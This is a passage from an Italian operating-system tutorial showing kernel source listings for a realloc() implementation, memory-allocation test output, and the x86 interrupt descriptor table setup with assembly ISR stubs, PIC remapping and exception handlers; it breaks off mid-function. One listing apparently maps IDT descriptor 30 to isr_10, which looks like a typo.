                           (head_current->next * (sizeof (mm_head_t)));
          }
      }
}
```

La funzione ***realloc()***, nel caso sia richiesto un blocco più grande del precedente, si avvale di ***malloc()***, ***memcpy()*** e ***free()***.

Listato u10.73. '`./05/lib/realloc.c`'

```
#include <stdlib.h>
#include <string.h>
#include <kernel/mm.h>
#include <stdio.h>
void
*realloc (void *ptr, size_t size)
{
    uintptr_t  start     = os.mem_ph.available_s;
       size_t  actual_size;
    mm_head_t *head      = ((mm_head_t *) ptr) - 1;
    mm_head_t *head_new;
         void *ptr_new;
    //
```

```
    // Verifica che il puntatore riguardi effettivamente
    // un'area occupata.
    //
    if (! head->allocated)
      {
        printf ("[%s] ERROR: cannot re-allocate %08X that is "
                "not already allocated!", __func__, (uintptr_t) ptr);
      }
    //
    // Arrotonda in eccesso il valore di «size», in modo che sia un
    // multiplo della dimensione di «mm_head_t». Altrimenti, la
    // collocazione dei blocchi successivi può avvenire in modo
    // non allineato.
    //
    size = (size + (sizeof (mm_head_t)) -1);
    size = size / (sizeof (mm_head_t));
    size = size * (sizeof (mm_head_t));
    //
    // Determina la dimensione attuale.
    //
    if ((head->next * (sizeof (mm_head_t))) == start)
      {
        actual_size = os.mem_ph.available_e - ((uintptr_t) ptr);
      }
    else
      {
        actual_size = (head->next * (sizeof (mm_head_t))) - ((uintptr_t) ptr);
      }
    //
    // Se la dimensione richiesta è inferiore, può ridurre
    // l'estensione del blocco.
    //
    if (size == actual_size)
      {
        return ptr;
      }
    else if (size <= (actual_size - (sizeof (mm_head_t)) * 2))
      {
        //
        // Si può ricavare lo spazio libero rimanente.
        //
        head_new = (mm_head_t *) (((char *) ptr) + size);
        //
        head_new->next = head->next;
        head_new->allocated=0;
        //
        head->next = ((uintptr_t) head_new) / (sizeof (mm_head_t));
        //
        return ptr;
      }
    else if (size < actual_size)
      {
```

```
          //
          // Anche se è minore, non si può ridurre lo spazio usato
          // effettivamente.
          //
          return ptr;
        }
      else
        {
          //
          // La dimensione richiesta è maggiore.
          //
          ptr_new = malloc (size);
          //
          if (ptr_new)
            {
              //
              // Ricopia i dati nella nuova collocazione.
              //
              memcpy (ptr_new, ptr, actual_size);
              //
              // Libera la collocazione vecchia.
              //
              free (ptr);
              //
              return ptr_new;
            }
          else
            {
              return NULL;
            }
        }
}
```

Verifica del funzionamento

Per utilizzare le funzioni ***mm_init()*** e ***mm_list()*** occorre aggiornare il file '`kernel_main.c`', aggiungendo in modo particolare delle istruzioni per verificare il funzionamento delle funzioni di allocazione della memoria.

Figura u10.74. Modifiche da apportare al file '`./05/kernel/kernel_main.c`'

```
#include <kernel/kernel.h>
#include <kernel/build.h>
#include <stdio.h>
#include <kernel/gdt.h>
#include <kernel/mm.h>
#include <stdlib.h>
…
        mboot_info (info);
        mboot_show (info);
        //
```

```
        // Raccoglie i dati sulla memoria fisica.
        //
        kernel_memory (info);
        //
        // Predispone la tabella GDT.
        //
        gdt ();
        //
        // Predispone la memoria libera per l'utilizzo.
        //
        mm_init ();
        void *p0 = malloc (0x100);
        void *p1 = malloc (0x1000);
        void *p2 = malloc (0x10000);
                   malloc (0x100000);
        p0 = realloc (p0, 0x1000);
        p1 = realloc (p1, 0x100);
        p2 = realloc (p2, 0x100000);
        free (p1);
        mm_list ();
…
```

Dopo avere ricompilato, riavviando la simulazione si deve ottenere una schermata simile a quella seguente, dove si può osservare la mappa della memoria alla fine delle operazioni di allocazione e riallocazione eseguite:

```
05 20070820133728
[mboot_show] flags: 00000000000000000000011111100111 mlow: 027F mhigh: 00007BC0
[mboot_show] bootdev: 00FFFFFF cmdline: "(fd0)/kernel"
[kernel_memory_show] kernel 00100000..0010C65C  avail. 0010C65C..01EF0000
[kernel_memory_show] text   00100000..001039D8  rodata 001039D8..00103CD4
[kernel_memory_show] data   00103CD4..00103CD4  bss    00103CE0..0010C65C
[kernel_memory_show] limit  00001EF0
[gdt_print] base: 0x0010BD28 limit: 0x0017
[gdt_print] 0 00000000000000000000000000000000 00000000010000000001000000000000
[gdt_print] 1 00000000000000000001111011110000 00000000110000001001101000000000
[gdt_print] 2 00000000000000000001111011110000 00000000110000001001001000000000
[mm_init] available memory: 31340960 byte
[mm_list] free 0010C660..0010D764 size 00001104
[mm_list] used 0010D768..0011D768 size 00010000
[mm_list] used 0011D76C..0021D76C size 00100000
[mm_list] used 0021D770..0021E770 size 00001000
[mm_list] used 0021E774..0031E774 size 00100000
[mm_list] free 0021E778..01EF0000 size 01BD1888
[kernel_main] system halted
```

Nelle figure successive viene mostrato, schematicamente, ciò che accade. La prima figura mostra lo stato della lista della memoria dopo le prime quattro allocazioni; le figure successive mostrano le riallocazioni che vengono fatte dopo, una a una, per finire con la liberazione della zona associata alla variabile ***p1***. Purtroppo, nelle figure non è stato possibile usare delle proporzioni realistiche.

Figura u10.76. La lista della memoria dopo le prime quattro allocazioni.

Figura u10.77. La lista della memoria dopo la riallocazione di ***p0***.

Figura u10.78. La lista della memoria dopo la riallocazione di ***p1***.

Figura u10.79. La lista della memoria dopo la riallocazione di ***p2***.

Figura u10.80. La lista della memoria dopo l'eliminazione di ***p1***.

Tabella IDT

In questa fase dello sviluppo del sistema è opportuno predisporre la tabella IDT (*interrupt description table*), con le eccezioni del microprocessore e le interruzioni hardware (IRQ), anche se inizialmente nulla viene gestito effettivamente.

File di intestazione «int.h» e file delle routine di interruzione «isr.s»

Il file di intestazione '`int.h`' contiene la dichiarazione delle funzioni per la gestione delle interruzioni. Viene proposto subito nella sua versione completa, anche se non tutte le funzioni dichiarate vengono presentate immediatamente.

Listato u10.81. '`./05/include/kernel/int.h`'

```
#ifndef _INT_H
#define _INT_H  1

#include <inttypes.h>
#include <stdbool.h>
#include <stdarg.h>
#include <kernel/os.h>

void idt_desc_int    (int      desc,
                      uint32_t offset,
                      uint16_t selector,
                      bool     present,
                      char     type,
                      char     dpl);

void  idt_load       (void *idtr);
void  idt            (void);
void  irq_remap      (unsigned int offset_1, unsigned int offset_2);
char *exception_name (int exception);
void  idt_print      (void *idtr);

void isr_0  (void);
void isr_1  (void);
void isr_2  (void);
void isr_3  (void);
void isr_4  (void);
void isr_5  (void);
void isr_6  (void);
void isr_7  (void);
void isr_8  (void);
void isr_9  (void);
void isr_10 (void);
void isr_11 (void);
void isr_12 (void);
void isr_13 (void);
void isr_14 (void);
void isr_15 (void);
void isr_16 (void);
void isr_17 (void);
void isr_18 (void);
void isr_19 (void);
void isr_20 (void);
void isr_21 (void);
void isr_22 (void);
void isr_23 (void);
```

```
void isr_24 (void);
void isr_25 (void);
void isr_26 (void);
void isr_27 (void);
void isr_28 (void);
void isr_29 (void);
void isr_30 (void);
void isr_31 (void);
void isr_32 (void);
void isr_33 (void);
void isr_34 (void);
void isr_35 (void);
void isr_36 (void);
void isr_37 (void);
void isr_38 (void);
void isr_39 (void);
void isr_40 (void);
void isr_41 (void);
void isr_42 (void);
void isr_43 (void);
void isr_44 (void);
void isr_45 (void);
void isr_46 (void);
void isr_47 (void);
void isr_128 (void);

void sti (void);
void cli (void);

void isr_exception_unrecoverable (uint32_t eax, uint32_t ecx, uint32_t edx,
                                  uint32_t ebx, uint32_t ebp, uint32_t esi,
                                  uint32_t edi, uint32_t ds,  uint32_t es,
                                  uint32_t fs,  uint32_t gs,
                                  uint32_t interrupt, uint32_t error,
                                  uint32_t eip, uint32_t cs, uint32_t eflags);

void isr_irq (uint32_t eax, uint32_t ecx, uint32_t edx, uint32_t ebx,
              uint32_t ebp, uint32_t esi, uint32_t edi, uint32_t ds,
              uint32_t es,  uint32_t fs,  uint32_t gs,  uint32_t interrupt);

uint32_t isr_syscall (uint32_t start, ...);
uint32_t int_128     (void);

#endif
```

Si può osservare l'elenco delle funzioni '**isr_*n*()**', per la gestione delle varie interruzioni catalogate nella tabella IDT. In particolare, l'interruzione 128_{10}, ovvero 80_{16}, viene usata per le chiamate di sistema. Queste funzioni sono dichiarate formalmente nel file '`isr.s`' che viene mostrato integralmente nel listato successivo.

Listato u10.82. ‘./05/lib/int/isr.s’

```
.extern isr_exception_unrecoverable
.extern isr_irq
.extern isr_syscall
#
.globl isr_0
.globl isr_1
.globl isr_2
.globl isr_3
.globl isr_4
.globl isr_5
.globl isr_6
.globl isr_7
.globl isr_8
.globl isr_9
.globl isr_10
.globl isr_11
.globl isr_12
.globl isr_13
.globl isr_14
.globl isr_15
.globl isr_16
.globl isr_17
.globl isr_18
.globl isr_19
.globl isr_20
.globl isr_21
.globl isr_22
.globl isr_23
.globl isr_24
.globl isr_25
.globl isr_26
.globl isr_27
.globl isr_28
.globl isr_29
.globl isr_30
.globl isr_31
.globl isr_32
.globl isr_33
.globl isr_34
.globl isr_35
.globl isr_36
.globl isr_37
.globl isr_38
.globl isr_39
.globl isr_40
.globl isr_41
.globl isr_42
.globl isr_43
.globl isr_44
.globl isr_45
.globl isr_46
.globl isr_47
```

```
.globl isr_128

    ########################################################################
    # Nella pila è già stato inserito dal microprocessore:                #
    #   [omissis]                                                          #
    #   push %eflags                                                       #
    #   push %cs                                                           #
    #   push %eip                                                          #
    ########################################################################

isr_0:          # «division by zero exception»
    cli
    push $0     # Codice di errore fittizio.
    push $0     # Numero dell'eccezione.
    jmp exception_unrecoverable
#
isr_1:          # «debug exception»
    cli
    push $0     # Codice di errore fittizio.
    push $1     # Numero dell'eccezione.
    jmp exception_unrecoverable
#
isr_2:          # «non maskable interrupt exception»
    cli
    push $0     # Codice di errore fittizio.
    push $2     # Numero dell'eccezione.
    jmp exception_unrecoverable
#
isr_3:          # «breakpoint exception»
    cli
    push $0     # Codice di errore fittizio.
    push $3     # Numero dell'eccezione.
    jmp exception_unrecoverable
#
isr_4:          # «into detected overflow exception»
    cli
    push $0     # Codice di errore fittizio.
    push $4     # Numero dell'eccezione.
    jmp exception_unrecoverable
#
isr_5:          # «out of bounds exception»
    cli
    push $0     # Codice di errore fittizio.
    push $5     # Numero dell'eccezione.
    jmp exception_unrecoverable
#
isr_6:          # «invalid opcode exception»
    cli
    push $0     # Codice di errore fittizio.
    push $6     # Numero dell'eccezione.
    jmp exception_unrecoverable
#
isr_7:          # «no coprocessor exception»
```

```
    cli
    push $0     # Codice di errore fittizio.
    push $7     # Numero dell'eccezione.
    jmp exception_unrecoverable
#
isr_8:          # «double fault exception»
    cli
    #
    push $8     # Numero dell'eccezione.
    jmp exception_unrecoverable
#
isr_9:          # «coprocessor segment overrun exception»
    cli
    push $0     # Codice di errore fittizio.
    push $9     # Numero dell'eccezione.
    jmp exception_unrecoverable
#
isr_10:         # «bad TSS exception»
    cli
    #
    push $10    # Numero dell'eccezione.
    jmp exception_unrecoverable
#
isr_11:         # «segment not present exception»
    cli
    #
    push $11    # Numero dell'eccezione.
    jmp exception_unrecoverable
#
isr_12:         # «stack fault exception»
    cli
    #
    push $12    # Numero dell'eccezione.
    jmp exception_unrecoverable
#
isr_13:         # «general protection fault exception»
    cli
    #
    push $13    # Numero dell'eccezione.
    jmp exception_unrecoverable
#
isr_14:         # «page fault exception»
    cli
    #
    push $14    # Numero dell'eccezione.
    jmp exception_unrecoverable
#
isr_15:         # «unknown interrupt exception»
    cli
    push $0     # Codice di errore fittizio.
    push $15    # Numero dell'eccezione.
    jmp exception_unrecoverable
#
```

```
isr_16:         # «coprocessor fault exception»
    cli
    push $0     # Codice di errore fittizio.
    push $16    # Numero dell’eccezione.
    jmp exception_unrecoverable
#
isr_17:         # «alignment check exception»
    cli
    push $0     # Codice di errore fittizio.
    push $17    # Numero dell’eccezione.
    jmp exception_unrecoverable
#
isr_18:         # «machine check exception»
    cli
    push $0     # Codice di errore fittizio.
    push $18    # Numero dell’eccezione.
    jmp exception_unrecoverable
#
isr_19:         # «reserved exception»
    cli
    push $0     # Codice di errore fittizio.
    push $19    # Numero dell’eccezione.
    jmp exception_unrecoverable
#
isr_20:         # «reserved exception»
    cli
    push $0     # Codice di errore fittizio.
    push $20    # Numero dell’eccezione.
    jmp exception_unrecoverable
#
isr_21:         # «reserved exception»
    cli
    push $0     # Codice di errore fittizio.
    push $21    # Numero dell’eccezione.
    jmp exception_unrecoverable
#
isr_22:         # «reserved exception»
    cli
    push $0     # Codice di errore fittizio.
    push $22    # Numero dell’eccezione.
    jmp exception_unrecoverable
#
isr_23:         # «reserved exception»
    cli
    push $0     # Codice di errore fittizio.
    push $23    # Numero dell’eccezione.
    jmp exception_unrecoverable
#
isr_24:         # «reserved exception»
    cli
    push $0     # Codice di errore fittizio.
    push $24    # Numero dell’eccezione.
    jmp exception_unrecoverable
```

```
#
isr_25:          # «reserved exception»
    cli
    push $0      # Codice di errore fittizio.
    push $25     # Numero dell’eccezione.
    jmp exception_unrecoverable
#
isr_26:          # «reserved exception»
    cli
    push $0      # Codice di errore fittizio.
    push $26     # Numero dell’eccezione.
    jmp exception_unrecoverable
#
isr_27:          # «reserved exception»
    cli
    push $0      # Codice di errore fittizio.
    push $27     # Numero dell’eccezione.
    jmp exception_unrecoverable
#
isr_28:          # «reserved exception»
    cli
    push $0      # Codice di errore fittizio.
    push $28     # Numero dell’eccezione.
    jmp exception_unrecoverable
#
isr_29:          # «reserved exception»
    cli
    push $0      # Codice di errore fittizio.
    push $29     # Numero dell’eccezione.
    jmp exception_unrecoverable
#
isr_30:          # «reserved exception»
    cli
    push $0      # Codice di errore fittizio.
    push $30     # Numero dell’eccezione.
    jmp exception_unrecoverable
#
isr_31:          # «reserved exception»
    cli
    push $0      # Codice di errore fittizio.
    push $31     # Numero dell’eccezione.
    jmp exception_unrecoverable
#
isr_32:          # IRQ 0: «timer»
    cli
    push $0      # Codice di errore fittizio.
    push $32     # Numero IRQ + 32.
    jmp irq
#
isr_33:          # IRQ 1: tastiera
    cli
    push $0      # Codice di errore fittizio.
    push $33     # Numero IRQ + 32.
```

```
    jmp irq
#
isr_34:         # IRQ 2: viene attivato per gli IRQ da 8 a 15.
    cli
    push $0     # Codice di errore fittizio.
    push $34    # Numero IRQ + 32.
    jmp irq
#
isr_35:         # IRQ 3
    cli
    push $0     # Codice di errore fittizio.
    push $35    # Numero IRQ + 32.
    jmp irq
#
isr_36:         # IRQ 4
    cli
    push $0     # Codice di errore fittizio.
    push $36    # Numero IRQ + 32.
    jmp irq
#
isr_37:         # IRQ 5
    cli
    push $0     # Codice di errore fittizio.
    push $37    # Numero IRQ + 32.
    jmp irq
#
isr_38:         # IRQ 6: unità a dischetti
    cli
    push $0     # Codice di errore fittizio.
    push $38    # Numero IRQ + 32.
    jmp irq
#
isr_39:         # IRQ 7: LPT 1
    cli
    push $0     # Codice di errore fittizio.
    push $39    # Numero IRQ + 32.
    jmp irq
#
isr_40:         # IRQ 8: «real time clock (RTC)»
    cli
    push $0     # Codice di errore fittizio.
    push $40    # Numero IRQ + 32.
    jmp irq
#
isr_41:         # IRQ 9
    cli
    push $0     # Codice di errore fittizio.
    push $41    # Numero IRQ + 32.
    jmp irq
#
isr_42:         # IRQ 10
    cli
    push $0     # Codice di errore fittizio.
```

```
    push $42    # Numero IRQ + 32.
    jmp irq
#
isr_43:         # IRQ 11
    cli
    push $0     # Codice di errore fittizio.
    push $43    # Numero IRQ + 32.
    jmp irq
#
isr_44:         # IRQ 12: mouse PS/2
    cli
    push $0     # Codice di errore fittizio.
    push $44    # Numero IRQ + 32.
    jmp irq
#
isr_45:         # IRQ 13: coprocessore matematico
    cli
    push $0     # Codice di errore fittizio.
    push $45    # Numero IRQ + 32.
    jmp irq
#
isr_46:         # IRQ 14: canale IDE primario
    cli
    push $0     # Codice di errore fittizio.
    push $46    # Numero IRQ + 32.
    jmp irq
#
isr_47:         # IRQ 15: canale IDE secondario
    cli
    push $0     # Codice di errore fittizio.
    push $47    # Numero IRQ + 32.
    jmp irq
#
isr_128:        # Chiamate di sistema.
    cli
    call isr_syscall
    iret
#
# Eccezioni che per il momento non sono gestibili.
#
exception_unrecoverable:

    ########################################################################
    # A questo punto, nella pila sono stati aggiunti:                      #
    #   push $<n_errore>                                                   #
    #   push $<n_voce_idt>                                                 #
    ########################################################################

    pushl %gs
    pushl %fs
    pushl %es
    pushl %ds
    pushl %edi
```

```
    pushl %esi
    pushl %ebp
    pushl %ebx
    pushl %edx
    pushl %ecx
    pushl %eax
    #
    call isr_exception_unrecoverable
    #
    popl %eax
    popl %ecx
    popl %edx
    popl %ebx
    popl %ebp
    popl %esi
    popl %edi
    popl %ds
    popl %es
    popl %fs
    popl %gs
    add $4, %esp        # espelle il numero dell'eccezione
    add $4, %esp        # espelle il codice di errore
    #
    iret
#
# IRQ hardware.
#
irq:

    ##########################################################################
    # A questo punto, nella pila sono stati aggiunti:                        #
    #   push $0                                                              #
    #   push $<n_voce_idt>                                                   #
    ##########################################################################

    pushl %gs
    pushl %fs
    pushl %es
    pushl %ds
    pushl %edi
    pushl %esi
    pushl %ebp
    pushl %ebx
    pushl %edx
    pushl %ecx
    pushl %eax
    #
    call isr_irq
    #
    popl %eax
    popl %ecx
    popl %edx
    popl %ebx
```

```
    popl %ebp
    popl %esi
    popl %edi
    popl %ds
    popl %es
    popl %fs
    popl %gs
    add $4, %esp        # espelle il numero dell'interruzione
    add $4, %esp        # espelle il codice di errore fittizio.
    #
    iret
#
```

Funzioni per definire la tabella IDT

Per facilitare la compilazione della tabella IDT viene usata la funzione ***idt_desc_int()***, con la quale si deve specificare il numero del descrittore della tabella e i dati da inserirvi. La tabella IDT è definita nella variabile strutturata ***os.idt***, dichiarata nel file '`os.h`'.

Listato u10.83. '`./05/lib/int/idt_desc_int.c`'

```
#include <kernel/int.h>
void
idt_desc_int (int      desc,
              uint32_t offset,
              uint16_t selector,
              bool     present,
              char     type,
              char     dpl)
{
    //
    // Azzera i bit riservati e quello di sistema.
    //
    os.idt[desc].filler = 0;
    os.idt[desc].system = 0;
    //
    // Indirizzo relativo.
    //
    os.idt[desc].offset_a = (offset & 0x0000FFFF);
    os.idt[desc].offset_b = (offset / 0x10000);
    //
    // Selettore.
    //
    os.idt[desc].selector = selector;
    //
    // Voce valida o meno.
    //
    os.idt[desc].present = present;
    //
```

```
    // Tipo (gate type).
    //
    os.idt[desc].type = (type & 0x0F);
    //
    // DPL.
    //
    os.idt[desc].dpl = (dpl & 0x03);
}
```

Per verificare il contenuto della tabella IDT viene predisposta la funzione ***idt_print()*** che richiede come parametro il puntatore all'area di memoria che descrive il registro ***IDTR***. Così come viene proposta, la funzione mostra il contenuto completo della tabella IDT, ma questo supera generalmente le righe visualizzabili sullo schermo; pertanto, in caso di necessità, la funzione va modificata in modo da mostrare solo la porzione di proprio interesse.

Listato u10.84. '`./05/lib/int/idt_print.c`'

```
#include <kernel/int.h>
#include <stdio.h>
//
// Mostra il contenuto di una tabella IDT, a partire dal puntatore al
// registro IDTR in memoria. Pertanto non si avvale, volutamente, della
// struttura già predisposta con il linguaggio C, mentre «local_idtr_t»
// viene creata qui solo provvisoriamente, per uso interno. Ciò serve ad
// assicurare che questa funzione compia il proprio lavoro in modo
// indipendente, garantendo la visualizzazione di dati reali.
//
typedef struct {
    uint16_t  limit;
    uint32_t  base;
} __attribute__ ((packed)) local_idtr_t;
//
void
idt_print (void *idtr)
{
    local_idtr_t *g = idtr;
        uint32_t *p = (uint32_t *) g->base;

    int max = (g->limit + 1) / (sizeof (uint32_t));
    int i;

    for (i = 0; i < max; i+=2)
      {
        printf ("[%s] %02" PRIx32 " %08X %08X\n",
                __func__, i/2, p[i], p[i+1]);
      }
}
```

La funzione ***irq_remap()*** è necessaria per rimappare le interruzioni hardware nella tabella IDT, in modo che non intralcino quelle associate alle eccezioni. La funzione richiede l'indicazione del numero iniziale di interruzione per i due gruppi di IRQ (da IRQ 0 a IRQ 7 e da IRQ 8 a IRQ 15). Successivamente, nella funzione ***idt()***, viene usata ***irq_remap()*** in modo da rimappare le interruzioni hardware a partire da 32, per finire a 47.

Listato u10.85. '`./05/lib/int/irq_remap.c`'

```
#include <kernel/int.h>
#include <stdio.h>
void
irq_remap (unsigned int offset_1, unsigned int offset_2)
{
    //
    // PIC_P è il PIC primario o «master»;
    // PIC_S è il PIC secondario o «slave».
    //
    // Quando si manifesta un IRQ che riguarda il PIC secondario,
    // il PIC primario riceve IRQ 2.
    //
    // ICW = initialization command word.
    // OCW = operation command word.
    //
    printf ("[%s] PIC (programmable interrupt controller) remap: ", __func__);

    outb (0x20, 0x10 + 0x01);   // Inizializzazione: 0x10 significa che
    outb (0xA0, 0x10 + 0x01);   // si tratta di ICW1; 0x01 significa che
    printf ("ICW1");            // si deve arrivare fino a ICW4.

    outb (0x21, offset_1);      // ICW2: PIC_P a partire da «offset_1».
    outb (0xA1, offset_2);      //       PIC_S a partire da «offset_2».
    printf (", ICW2");
    outb (0x21, 0x04);          // ICW3 PIC_P: IRQ2 pilotato da PIC_S.
    outb (0xA1, 0x02);          // ICW3 PIC_S: pilota IRQ2 di PIC_P.
    printf (", ICW3");
    outb (0x21, 0x01);          // ICW4: si precisa solo la modalità
    outb (0xA1, 0x01);          // del microprocessore; 0x01 = 8086.
    printf (", ICW4");

    outb (0x21, 0x00);          // OCW1: azzera la maschera in modo da
    outb (0xA1, 0x00);          // abilitare tutti i numeri IRQ.
    printf (", OCW1.\n");
}
```

Per caricare la tabella IDT dichiarata in memoria, occorre predisporre la copia del registro ***IDTR*** con i riferimenti necessari a raggiungerla, quindi va usata l'istruzione '**`LIDT`**', con il linguaggio assemblatore. La funzione ***idt_load()*** viene usata per pilotare l'istruzione '**`LIDT`**'.

Listato u10.86. '`./05/lib/int/idt_load.s`'

```
.globl  idt_load
#
idt_load:
    enter $0, $0
    .equ idtr_pointer,  8          # Primo argomento.
    mov  idtr_pointer(%ebp), %eax  # Copia il puntatore in EAX.
    leave
    #
    lidt (%eax)         # Utilizza la tabella IDT a cui punta EAX.
    #
    ret
```

La funzione ***idt()*** utilizza le altre descritte in questa sezione, per mettere in funzione la gestione delle interruzioni.

Listato u10.87. '`./05/lib/int/idt.c`'

```
#include <kernel/int.h>
void
idt (void)
{
    //
    // Imposta i dati necessari al registro IDTR.
    //
    os.idtr.limit = (sizeof (os.idt) - 1);
    os.idtr.base  = (uint32_t) &os.idt[0];
    //
    // Azzera le voci previste dell'array «os.idt[]».
    //
    int i;
    for (i = 0; i < ((sizeof (os.idt)) / 8); i++)
      {
        idt_desc_int (i, 0, 0, 0, 0, 0);
      }
    //
    // Associa le interruzioni hardware da IRQ 0 a IRQ 7
    // a partire dal descrittore 32 e quelle da IRQ 8 a
    // IRQ 15, a partire dal descrittore 40.
    //
    irq_remap (32, 40);
    //
    // Associa le routine ISR ai descrittori della tabella IDT.
    //
    idt_desc_int ( 0, (uint32_t) isr_0,  0x0008, 1, 0xE, 0);
    idt_desc_int ( 1, (uint32_t) isr_1,  0x0008, 1, 0xE, 0);
    idt_desc_int ( 2, (uint32_t) isr_2,  0x0008, 1, 0xE, 0);
    idt_desc_int ( 3, (uint32_t) isr_3,  0x0008, 1, 0xE, 0);
```

```
    idt_desc_int ( 4, (uint32_t) isr_4,  0x0008, 1, 0xE, 0);
    idt_desc_int ( 5, (uint32_t) isr_5,  0x0008, 1, 0xE, 0);
    idt_desc_int ( 6, (uint32_t) isr_6,  0x0008, 1, 0xE, 0);
    idt_desc_int ( 7, (uint32_t) isr_7,  0x0008, 1, 0xE, 0);
    idt_desc_int ( 8, (uint32_t) isr_8,  0x0008, 1, 0xE, 0);
    idt_desc_int ( 9, (uint32_t) isr_9,  0x0008, 1, 0xE, 0);
    idt_desc_int (10, (uint32_t) isr_10, 0x0008, 1, 0xE, 0);
    idt_desc_int (11, (uint32_t) isr_11, 0x0008, 1, 0xE, 0);
    idt_desc_int (12, (uint32_t) isr_12, 0x0008, 1, 0xE, 0);
    idt_desc_int (13, (uint32_t) isr_13, 0x0008, 1, 0xE, 0);
    idt_desc_int (14, (uint32_t) isr_14, 0x0008, 1, 0xE, 0);
    idt_desc_int (15, (uint32_t) isr_15, 0x0008, 1, 0xE, 0);
    idt_desc_int (16, (uint32_t) isr_16, 0x0008, 1, 0xE, 0);
    idt_desc_int (17, (uint32_t) isr_17, 0x0008, 1, 0xE, 0);
    idt_desc_int (18, (uint32_t) isr_18, 0x0008, 1, 0xE, 0);
    idt_desc_int (19, (uint32_t) isr_19, 0x0008, 1, 0xE, 0);
    idt_desc_int (20, (uint32_t) isr_20, 0x0008, 1, 0xE, 0);
    idt_desc_int (21, (uint32_t) isr_21, 0x0008, 1, 0xE, 0);
    idt_desc_int (22, (uint32_t) isr_22, 0x0008, 1, 0xE, 0);
    idt_desc_int (23, (uint32_t) isr_23, 0x0008, 1, 0xE, 0);
    idt_desc_int (24, (uint32_t) isr_24, 0x0008, 1, 0xE, 0);
    idt_desc_int (25, (uint32_t) isr_25, 0x0008, 1, 0xE, 0);
    idt_desc_int (26, (uint32_t) isr_26, 0x0008, 1, 0xE, 0);
    idt_desc_int (27, (uint32_t) isr_27, 0x0008, 1, 0xE, 0);
    idt_desc_int (28, (uint32_t) isr_28, 0x0008, 1, 0xE, 0);
    idt_desc_int (29, (uint32_t) isr_29, 0x0008, 1, 0xE, 0);
    idt_desc_int (30, (uint32_t) isr_10, 0x0008, 1, 0xE, 0);
    idt_desc_int (31, (uint32_t) isr_31, 0x0008, 1, 0xE, 0);
    idt_desc_int (32, (uint32_t) isr_32, 0x0008, 1, 0xE, 0);
    idt_desc_int (33, (uint32_t) isr_33, 0x0008, 1, 0xE, 0);
    idt_desc_int (34, (uint32_t) isr_34, 0x0008, 1, 0xE, 0);
    idt_desc_int (35, (uint32_t) isr_35, 0x0008, 1, 0xE, 0);
    idt_desc_int (36, (uint32_t) isr_36, 0x0008, 1, 0xE, 0);
    idt_desc_int (37, (uint32_t) isr_37, 0x0008, 1, 0xE, 0);
    idt_desc_int (38, (uint32_t) isr_38, 0x0008, 1, 0xE, 0);
    idt_desc_int (39, (uint32_t) isr_39, 0x0008, 1, 0xE, 0);
    idt_desc_int (40, (uint32_t) isr_40, 0x0008, 1, 0xE, 0);
    idt_desc_int (41, (uint32_t) isr_41, 0x0008, 1, 0xE, 0);
    idt_desc_int (42, (uint32_t) isr_42, 0x0008, 1, 0xE, 0);
    idt_desc_int (43, (uint32_t) isr_43, 0x0008, 1, 0xE, 0);
    idt_desc_int (44, (uint32_t) isr_44, 0x0008, 1, 0xE, 0);
    idt_desc_int (45, (uint32_t) isr_45, 0x0008, 1, 0xE, 0);
    idt_desc_int (46, (uint32_t) isr_46, 0x0008, 1, 0xE, 0);
    idt_desc_int (47, (uint32_t) isr_47, 0x0008, 1, 0xE, 0);
    //
    // Questo è per le chiamate di sistema.
    //
```

```
    idt_desc_int (128, (uint32_t) isr_128, 0x0008, 1, 0xE, 0);
    //
    // Rende operativa la tabella con le eccezioni e gli IRQ.
    //
    idt_load (&os.idtr);
    //
    // Abilita le interruzioni hardware (IRQ).
    //
    sti ();
}
```

Gestione delle interruzioni

Le funzioni '**`isr_`*n*`()`**' si limitano a chiamare altre funzioni scritte in linguaggio C, per la gestione delle eccezioni, delle interruzioni hardware e per le chiamate di sistema. In questa fase vengono mostrate le funzioni per la gestione delle eccezioni, anche se in forma estremamente limitata, e si propongono temporaneamente delle funzioni fittizie per la gestione degli altri casi.

Listato u10.88. '`./05/lib/int/isr_exception_unrecoverable.c`'

```
#include <kernel/int.h>
#include <stdio.h>
void
isr_exception_unrecoverable (uint32_t eax, uint32_t ecx, uint32_t edx,
                             uint32_t ebx, uint32_t ebp, uint32_t esi,
                             uint32_t edi, uint32_t ds,  uint32_t es,
                             uint32_t fs,  uint32_t gs,  uint32_t interrupt,
                             uint32_t error, uint32_t eip, uint32_t cs,
                             uint32_t eflags)
{
    printf ("[%s] ERROR: exception %i: \"%s\"\n",
            __func__, interrupt, exception_name (interrupt));
    //
    _Exit (0);
}
```

La funzione ***isr_exception_unrecoverable()***, appena mostrata, viene chiamata dal file '`isr.s`', per le interruzioni che riguardano le eccezioni. La funzione si limita a visualizzare un messaggio di errore e a fermare il sistema. Per visualizzare il tipo di eccezione che si è verificato si avvale della funzione ***exception_name()*** che appare nel listato successivo.

Listato u10.89. '`./05/lib/int/exception_name.c`'

```
#include <kernel/int.h>
char
*exception_name (int exception)
{
    char *description[19] = {"division by zero",
                             "debug",
                             "non maskable interrupt",
                             "breakpoint",
                             "into detected overflow",
                             "out of bounds",
                             "invalid opcode",
                             "no coprocessor",
                             "double fault",
                             "coprocessor segmento overrun",
                             "bad TSS",
                             "segment not present",
                             "stack fault",
                             "general protection fault",
                             "page fault",
                             "unknown interrupt",
                             "coprocessor fault",
                             "alignment check",
                             "machine check"};
    //
    if (exception >= 0 && exception <= 18)
      {
        return description[exception];
      }
    else
      {
        return "unknown";
      }
}
```

A proposito della funzione ***exception_name()*** va osservata la particolarità del comportamento del compilatore GNU C, il quale utilizza, senza che ciò sia stato richiesto espressamente, la funzione standard ***memcpy()***. Pertanto, tale funzione deve essere disponibile, altrimenti, in fase di collegamento (*link*) la compilazione fallisce.

Per la gestione delle interruzioni hardware è competente la funzione ***isr_irq()***, ma per il momento viene proposta una versione provvisoria, priva di alcuna gestione, dove ci si limita a inviare il messaggio «EOI» ai PIC (*programmable interrupt controller*) coinvolti.

Listato u10.90. Una prima versione del file '`./05/lib/int/isr_irq.c`'

```
#include <kernel/int.h>
#include <kernel/io.h>
void
isr_irq (uint32_t eax, uint32_t ecx, uint32_t edx, uint32_t ebx,
         uint32_t ebp, uint32_t esi, uint32_t edi, uint32_t ds,
         uint32_t es,  uint32_t fs,  uint32_t gs,  uint32_t interrupt)
{
    int irq = interrupt - 32;
    //
    // Finito il compito della funzione che deve reagire all'interruzione
    // IRQ, occorre informare i PIC (programmable interrupt controller).
    //
    // Se il numero IRQ è tra 8 e 15, manda un messaggio «EOI»
    // (End of IRQ) al PIC 2.
    //
    if (irq >= 8)
